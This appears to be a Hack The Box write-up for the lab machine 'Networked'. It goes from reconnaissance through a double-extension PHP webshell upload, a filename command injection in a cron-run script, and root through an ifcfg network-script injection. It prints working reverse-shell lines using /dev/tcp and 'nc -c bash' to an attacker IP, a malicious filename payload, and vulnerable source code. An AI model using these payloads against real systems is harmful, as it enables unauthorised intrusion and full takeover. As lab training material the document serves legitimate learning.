HTB - Networked
Target IP: 10.129.46.157 OS: CentOS Linux Web Stack: Apache 2.4.6 / PHP 5.4.16 Difficulty: Easy Author: [g1nt0n1x]
1. Phase 1: Reconnaissance & Information Gathering
1.1 TCP Port Discovery
We run a targeted service scan against the two open ports identified in an initial all-ports scan.
nmap -p 22,80 -sCV -Pn -oA nmap/tcp-targeted 10.129.46.157PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Port Analysis & Mapping
- 22/tcp (SSH): OpenSSH 7.4 â useful once credentials or a key are obtained.
- 80/tcp (HTTP): Apache on CentOS running PHP 5.4.16 â the primary attack surface.
1.2 Web Enumeration
whatweb confirms the stack and reveals no domain/hostname, so vhost enumeration is not viable. We proceed with directory and file fuzzing, including the -x php flag since this is a PHP application.
whatweb http://10.129.46.157
# http://10.129.46.157 [200 OK] Apache[2.4.6], PHP[5.4.16], X-Powered-By[PHP/5.4.16]
feroxbuster --url http://10.129.46.157 -x php200 http://10.129.46.157/index.php
200 http://10.129.46.157/upload.php
200 http://10.129.46.157/photos.php
200 http://10.129.46.157/lib.php
200 http://10.129.46.157/backup/backup.tar
200 http://10.129.46.157/uploads/127_0_0_1.png
Key findings:
/upload.phpâ a file upload endpoint./photos.phpâ displays uploaded images./backup/backup.tarâ a source code backup available without authentication.
2. Phase 2: Initial Access (File Upload Bypass)
2.1 Source Code Analysis
Downloading and extracting backup.tar gives us the full PHP source. Reviewing lib.php and upload.php reveals the upload validation: only .png, .jpeg, .jpg, and .gif extensions are accepted, and uploaded files are served from /uploads/.
wget http://10.129.46.157/backup/backup.tar
tar -xf backup.tar2.2 Crafting the Malicious Image
Since validation only checks the extension (not the MIME type or content), we can bypass it by appending a PHP webshell to a real PNG file using a double extension (.php.png). This satisfies the extension check while the web server executes the PHP code.
# Download a legitimate PNG
wget -O original-image.png <image-url>
# Download a CMD webshell from revshells.com, save as shell.php
# Append shell to the image
cat original-image.png shell.php > shell.php.png2.3 Triggering the Shell
After uploading via /upload.php, the file appears in /photos.php. Opening the image in a new tab causes Apache to interpret the PHP code embedded after the image data.
# Terminal 1: Start listener
rlwrap nc -lvnp 9001
# Trigger via browser or curl â navigate to the uploaded file URL
# Then send the reverse shell payload through the webshell:
# /bin/bash -i >& /dev/tcp/10.10.16.149/9001 0>&12.4 Shell as apache
whoami
# apache
# Upgrade to fully interactive TTY
which python
python -c 'import pty; pty.spawn("/bin/bash")'3. Phase 3: Lateral Movement (apache â guly)
3.1 Enumerating the guly Home Directory
cat /etc/passwd | grep bash
# root:x:0:0:root:/root:/bin/bash
# guly:x:1000:1000:guly:/home/guly:/bin/bash
ls -la /home/guly
# -r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
# -rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
# -r--------. 1 guly guly 33 May 4 09:51 user.txt3.2 Crontab Discovery
crontab.guly reveals that check_attack.php runs as guly every 3 minutes.
cat crontab.guly
# */3 * * * * php /home/guly/check_attack.php3.3 Analysing check_attack.php
The script scans /var/www/html/uploads/, validates each filename as an IP address, and removes invalid ones using exec(). The critical flaw: the filename is passed directly into a shell command without sanitisation.
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");If $value (the filename) contains a semicolon, the shell treats everything after it as a separate command. A file named ; nc 10.10.16.149 9002 -c bash results in:
nohup /bin/rm -f /var/www/html/uploads/; nc 10.10.16.149 9002 -c bash > /dev/null 2>&1 &
3.4 Exploiting the Command Injection
We create a file with a malicious name in the uploads directory and wait up to 3 minutes for the cron to trigger.
cd /var/www/html/uploads/
touch '; nc 10.10.16.149 9002 -c bash'# On Kali: catch the callback
rlwrap nc -lvnp 9002
whoami
# guly4. Phase 4: Privilege Escalation (guly â root)
4.1 Sudo Enumeration
sudo -l
# User guly may run the following commands on networked:
# (root) NOPASSWD: /usr/local/sbin/changename.sh4.2 Analysing changename.sh
The script prompts for four interface parameters and writes them directly into a network config file, then calls /sbin/ifup to bring the interface up.
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0The regex ^[a-zA-Z0-9_\ /-]+$ permits spaces. On RHEL/CentOS, when ifup processes a network-scripts config, values containing a space cause the second word to be executed as a shell command by the underlying source mechanism. Entering bash bash for the NAME field causes a root bash shell to spawn.
4.3 Shell as root
sudo /usr/local/sbin/changename.sh
# interface NAME:
bash bash
# interface PROXY_METHOD:
bash bash
# interface BROWSER_ONLY:
bash bash
# interface BOOTPROTO:
bash bash[root@networked network-scripts]# whoami
root
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)New things learnt
- Double-extension file upload bypass (
.php.png) works when the server validates only the final extension and PHP is configured to execute any file containing<?php. - Unsanitised filenames passed to
exec()in PHP allow command injection â filenames can contain shell metacharacters like;. - On RHEL/CentOS, network-scripts config values are
sourced by the shell. A space in a value causes the second word to be executed â a known privilege escalation vector whenifupruns as root.
Checklist added
- Check
/backupand similar directories for source code leaks - File upload: try double extension (
.php.png,.php.jpg) and magic byte prepend - Look for crontabs in user home directories (
crontab.guly, etc.) - Unsanitised
exec()/system()calls in PHP with filename input sudonetwork-scripts (changename.sh,ifup) command injection on CentOS/RHEL